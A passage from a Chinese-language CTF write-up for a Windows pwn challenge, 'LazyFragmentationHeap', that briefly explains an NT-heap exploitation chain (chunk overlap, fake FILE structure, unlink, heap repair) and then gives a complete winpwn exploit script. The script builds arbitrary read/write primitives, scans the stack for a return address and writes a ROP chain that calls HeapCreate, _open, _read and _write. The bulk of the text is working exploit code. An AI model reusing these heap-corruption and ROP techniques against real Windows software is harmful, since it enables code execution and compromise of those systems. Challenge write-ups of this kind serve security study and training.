在修改 FILE 结构体的同时修改后一个 chunk 的头部再次构造堆块重叠,然后申请 0x90 大小的 chunk 确保此时 ListHint 指向 unlink chunk 。同时 UAF 修改 unlink chunk 伪造 FlinkBlink ,完成 unlink 所需的条件。 之后再次申请 chunk 触发 unlink 。
windows pwn_第13张图片
完成 unlink 后 NodeList 可以自写,参考 linux kernel pwn 中 pipe_buffer 自写的构造方法实现任意次数的任意地址读写。

之后就是常规的栈上写 ROP 完成后续利用。需要注意的是,由于前面的堆利用破坏了系统默认堆的堆结构,后续利用可能会造成程序崩溃(比如 open 函数),因此需要先通过 ROP 完成堆修复。

题目提供的虚拟机可能因为 VMWare 版本问题卡到无法使用,但是根据题目提供的 dll 版本找到了 Windows 10, version 1903 (Updated Oct 2019) 虚拟机其内置的 dll 与题目提供的一致,因此我在该虚拟机上完成利用。
windows pwn_第14张图片
由于程序使用的是进程默认堆,因此堆排布成功率较低,需要多次尝试。

在进行堆排布之前多次使用 open file 功能在不触发 LFH 的情况下可以清空后端堆中的部分内存碎片,提高利用成功率。

from winpwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.timeout = 2

pe = winfile("LazyFragmentationHeap.exe")
ntdll = winfile("ntdll.dll")
kernel32 = winfile("kernel32.dll")
ucrtbase = winfile("ucrtbase.dll")


def add(size, id):
    p.sendlineafter('Your choice: ', '1')
    p.sendlineafter('Size:', str(size))
    p.sendlineafter('ID:', str(id))


def edit(id, content):
    p.sendlineafter('Your choice: ', '2')
    p.sendlineafter('ID:', str(id))
    p.sendafter('Content:', content)


def show(id):
    p.sendlineafter('Your choice: ', '3')
    p.sendlineafter('ID:', str(id))
    p.recvuntil('Content: ')


def delete(id):
    p.sendlineafter('Your choice: ', '4')
    p.sendlineafter('ID:', str(id))


def open_file(times):
    p.sendlineafter('Your choice: ', '5')
    for i in range(times):
        p.sendlineafter('Your choice: ', '1')
    p.sendlineafter('Your choice: ', '3')


def read_file(id, size, content=None):
    p.sendlineafter('Your choice: ', '5')
    p.sendlineafter('Your choice: ', '2')
    p.sendlineafter('ID:', str(id))
    p.sendlineafter('Size:', str(size))
    if (content): p.send(content)
    p.sendlineafter('Your choice: ', '3')


start = lambda: process(pe.path)


def chunk_head(size, prevsize, flags=1, unused=None):
    if unused == None: unused = 8 if flags & 1 else 0
    return u64(
        p16(size >> 4) + p8(flags) + p8((size >> 4 & 0xFF) ^ (size >> 12) ^ flags) + p16(prevsize) + p8(0) + p8(unused))


def arbitrary_address_read(address, is_offset=False, close=True):
    global p
    while True:
        try:
            p = start()
            open_file(4)
            add(0x88, 1)  # 0
            add(0x88, 2)  # 1
            add(0x88, 3)  # 2
            read_file(1, 0x88)
            show(1)
            p.recv(0x88)
            heap_encoding = u64(p.recvline(drop=True).ljust(8, '\x00')) ^ 0x0000000908010009
            log.success("heap encoding: " + hex(heap_encoding))
            edit(1, 'a' * 0x88 + p64(chunk_head(0x120, 0x90) ^ heap_encoding)[:6])
            delete(2)
            # windbg.attach(p, "bp 00007ff6`437b0000+1550")
            add(0x88, 4)  # 1
            show(3)
            heap_base = u64(p.recvline(drop=True).ljust(8, '\x00')) & ~0xFFFF
            log.success("heap base: " + hex(heap_base))
            assert heap_base != 0
            open_file(1)
            fake_FILE = ''
            fake_FILE += p64(0)  # _ptr
            fake_FILE += p64(0xBEEFDAD0000 + 0x28 + 0x20)  # _base
            fake_FILE += p32(0)  # _cnt
            fake_FILE += p32(0x2080)  # _flags
            fake_FILE += p32(0)  # _file = stdin(0)
            fake_FILE += p32(0)  # _charbuf
            fake_FILE += p64(0x200)  # _charbuf
            fake_FILE += p64(0)  # _tmpfname
            fake_FILE += p64(0xffffffffffffffff)  # DebugInfo
            fake_FILE += p32(0xffffffff)  # LockCount
            fake_FILE += p32(0)  # RecursionCount
            fake_FILE += p64(0)  # OwningThread
            fake_FILE += p64(0)  # LockSemaphore
            fake_FILE += p64(0)  # SpinCount
            edit(3, fake_FILE)
            log.info("read addr: " + hex((heap_base + address) if is_offset else address))
            read_file(4, 8, p64((heap_base + address) if is_offset else address))
            show(4)
            value = u64(p.recvline(drop=True).ljust(8, '\x00')[:8])
            if close: p.close()
            return value
        except KeyboardInterrupt:
            p.close()
            exit(0)
        except:
            p.close()


ntdll.address = (arbitrary_address_read(0x2c0, True) - 0x15f000) & ~0xFFFF
log.success("ntdll base: " + hex(ntdll.address))

pe_base_offset = (arbitrary_address_read(ntdll.address + 0x1653D0) & 0xFFFF) + 0x30
log.info("pe base offset: " + hex(pe_base_offset))

pe.address = arbitrary_address_read(pe_base_offset + 2, True) << 16
log.success("pe base: " + hex(pe.address))

ucrtbase.address = arbitrary_address_read(pe.imsyms['puts']) - ucrtbase.symbols['puts']
log.success("ucrtbase base: " + hex(ucrtbase.address))

pioinfo_offset = arbitrary_address_read(ucrtbase.address + 0xeb770) & 0xFFFF
log.info("pioinfo offset: " + hex(pioinfo_offset))

while True:
    p = start()
    try:
        open_file(4)
        add(0x88, 1)  # 0
        add(0x88, 2)  # 1
        add(0xe8, 3)  # 2
        add(0x88, 5)  # 3
        add(0x88, 6)  # 4
        read_file(1, 0x88)
        show(1)
        p.recv(0x88)
        heap_encoding = u64(p.recvline(drop=True).ljust(8, '\x00')) ^ 0x0000000908010009
        log.success("heap encoding: " + hex(heap_encoding))
        edit(1, 'a' * 0x88 + p64(chunk_head(0x210, 0x90) ^ heap_encoding))
        delete(2)
        add(0x88, 4)  # 1
        show(3)
        heap_base = u64(p.recvline(drop=True).ljust(8, '\x00')) & ~0xFFFF
        log.success("heap base: " + hex(heap_base))
        assert heap_base != 0

        open_file(1)
        add(0x88, 7)  # 5
        # unlink chunk bypass Flink chunk head check in RtlpHeapRemoveListEntry
        unlink_id = chunk_head(0x120, 0x200) ^ heap_encoding
        add(0x88, unlink_id)  # 6

        fake_FILE = ''
        fake_FILE += p64(0)  # _ptr
        fake_FILE += p64(0xBEEFDAD0000 + 0x28 + 0x20)  # _base
        fake_FILE += p32(0)  # _cnt
        fake_FILE += p32(0x2080)  # _flags
        fake_FILE += p32(0)  # _file = stdin(0)
        fake_FILE += p32(0)  # _charbuf
        fake_FILE += p64(0x200)  # _charbuf
        fake_FILE += p64(0)  # _tmpfname
        fake_FILE += p64(0xffffffffffffffff)  # DebugInfo
        fake_FILE += p32(0xffffffff)  # LockCount
        fake_FILE += p32(0)  # RecursionCount
        fake_FILE += p64(0)  # OwningThread
        fake_FILE += p64(0)  # LockSemaphore
        fake_FILE += p64(0)  # SpinCount
        edit(3, fake_FILE + p64(chunk_head(0x120, 0x60) ^ heap_encoding))
        delete(7)
        add(0x88, 9)  # 5
        log.info("pioinfo addr: " + hex(heap_base + pioinfo_offset))
        log.info("pioinfo.osfile addr: " + hex(heap_base + pioinfo_offset + 0x38))
        read_file(4, 8, p64(heap_base + pioinfo_offset + 0x38))
        edit(4, p8(0xc1))
        edit(5, p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20 - 8) + p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20))
        add(0x88, 10)  # unlink

        fake_node = lambda id, content: p64(0xDDAABEEF1ACD) + p64(0x500) + p64(id) + p64(0xDDAABEEF1ACD) + p64(content)

        edit(unlink_id, p64(0) + fake_node(333, 0xBEEFDAD0000 + 0x28 * 5))


        def arbitrary_address_read(address, recover=True):
            edit(333, fake_node(111, address) + fake_node(222, 0xBEEFDAD0000 + 0x28 * 7))
            show(111)
            data = p.recvline(drop=True).ljust(8, '\x00')
            if recover: edit(222, fake_node(333, 0xBEEFDAD0000 + 0x28 * 5))
            return data


        def arbitrary_address_write(address, content, recover=True):
            edit(333, fake_node(111, address) + fake_node(222, 0xBEEFDAD0000 + 0x28 * 7))
            edit(111, content)
            if recover: edit(222, fake_node(333, 0xBEEFDAD0000 + 0x28 * 5))


        kernel32.address = u64(arbitrary_address_read(pe.imsyms['GetCurrentThreadId'])[:8]) - kernel32.symbols['GetCurrentThreadId']
        log.success("kernel32 base: " + hex(kernel32.address))
        assert kernel32.address != 0
        PEB_addr = u64(arbitrary_address_read(ntdll.address + 0x165348)[:8]) - 0x80
        log.success("PEB addr: " + hex(PEB_addr))
        TEB_addr = PEB_addr + 0x1000
        log.info("TEB addr: " + hex(TEB_addr))
        stack_base = u64(arbitrary_address_read(TEB_addr + 8 + 2)) << 16
        log.success("stack base: " + hex(stack_base))
        stack_limit = u64(arbitrary_address_read(TEB_addr + 16 + 1)) << 8
        if stack_limit == 0: stack_limit = u64(arbitrary_address_read(TEB_addr + 16 + 2)) << 16
        log.success("stack limit: " + hex(stack_limit))

        search_length = 0x100
        main_ret_addr = -1
        for start_search in range(stack_base - search_length, stack_limit, -search_length):
            address = start_search
            while address - start_search < search_length:
                stack_data = arbitrary_address_read(address)
                offset = stack_data.find(p64(pe.address + 0x1B78))
                if offset != -1:
                    main_ret_addr = address + offset
                    break
                address += len(stack_data)
            if main_ret_addr != -1: break

        rop_addr = main_ret_addr - 0x80
        buf_addr = rop_addr + 0x200 + 0x20

        payload = ''
        payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
        payload += p64(0)
        payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
        payload += p64(0)
        payload += p64(0)
        payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
        payload += p64(0)
        payload += p64(kernel32.symbols['HeapCreate'])
        payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
        payload += p64(PEB_addr + 0x30)  # process_heap
        payload += p64(0)
        payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;"), executable=True).next())
        payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
        payload += p64(ucrtbase.address + 0xEB570)  # __acrt_heap
        payload += p64(0)
        payload += p64(ntdll.search(asm("mov qword ptr [rdx], rax; ret;"), executable=True).next())
        payload += p64(ntdll.search(asm("pop rcx; ret"), executable=True).next())
        payload += p64(buf_addr)
        payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
        payload += p64(0)
        payload += p64(0)
        payload += p64(ucrtbase.symbols['_open'])
        payload += p64(ntdll.search(asm("add rsp, 0x28; ret"), executable=True).next())
        payload += '\x00' * 0x28
        payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
        payload += p64(8)  # fileno
        payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
        payload += p64(buf_addr)
        payload += p64(0)
        payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
        payload += p64(0x100)
        payload += p64(ucrtbase.symbols['_read'])
        payload += p64(ntdll.search(asm("add rsp, 0x28; ret"), executable=True).next())
        payload += '\x00' * 0x28
        payload += p64(ntdll.search(asm("pop rcx;ret"), executable=True).next())
        payload += p64(1)
        payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret"), executable=True).next())
        payload += p64(buf_addr)
        payload += p64(0)
        payload += p64(ntdll.search(asm("pop r8;ret"), executable=True).next())
        payload += p64(0x100)
        payload += p64(ucrtbase.symbols['_write'])
        payload = payload.ljust(buf_addr - rop_addr, '\xcc')
        payload += 'flag.txt\x00'

        log.info("main ret addr: " + hex(main_ret_addr))
        log.info("rop addr: " + hex(rop_addr))
        log.info("buf addr: " + hex(buf_addr))
        arbitrary_address_write(rop_addr, payload, False)
        
        p.interactive()
        break
        
    except KeyboardInterrupt:
        p.close()
        exit(0)
    except:
        p.close()

你可能感兴趣的:(windows,系统安全,安全架构)